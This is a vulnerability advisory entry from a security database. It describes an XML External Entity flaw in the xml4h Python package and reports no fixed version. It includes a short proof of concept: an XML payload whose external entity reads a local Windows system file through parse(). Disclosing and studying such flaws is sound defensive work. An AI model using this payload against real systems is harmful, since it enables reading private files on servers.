Vulnerabilities
Projects
Vulnerability Disclosure
About Us
Contact Us
Mend.io Vulnerability Database
What is a CVE vulnerability ID? 
What is a WS vulnerability ID?
What is an MSC vulnerability ID?
New vulnerability? Tell us about it!
What is a WS vulnerability ID?
What is an MSC vulnerability ID?
We found results for “”
WS-2021-0113
Date: May 20, 2021
Overview
In 'xml4h' PyPi module, versions 0.1.0 through 1.0 are vulnerable to XML External Entity vulnerability as the function `parse()` does not restrict external entities while parsing the specially crafted XML document. Due to this flaw an attacker could read local files by defining an external entity with a file:// URI.Details
The PyPi module 'xml4h' is vulnerable to XML External Entity vulnerability as the function `parse()` does not restrict external entities while parsing the specially crafted XML document. Due to this flaw an attacker could read local files by defining an external entity with a file:// URI.PoC Details
The function `parse()` does not restrict external entities while parsing the XML data. By leveraging this flaw, an attacker can read an arbitrary file to retain sensitive information as shown in the POCPoC Code
import xml4h doc = xml4h.parse('simple.xml') print(doc.userInfo.lastName.text) // simple.xml content: <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///c:/windows/win.ini"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>Affected Environments
0.1.0-1.0Prevention
No fixLanguage: Python
Good to know:
Improper Restriction of XML External Entity Reference ('XXE')
CWE-611
Upgrade Version
No fix version available
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Adjacent_network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | Low |
| User Interaction (UI): | None |
| Scope (S): | Unchanged |
| Confidentiality (C): | None |
| Integrity (I): | None |
| Availability (A): | High |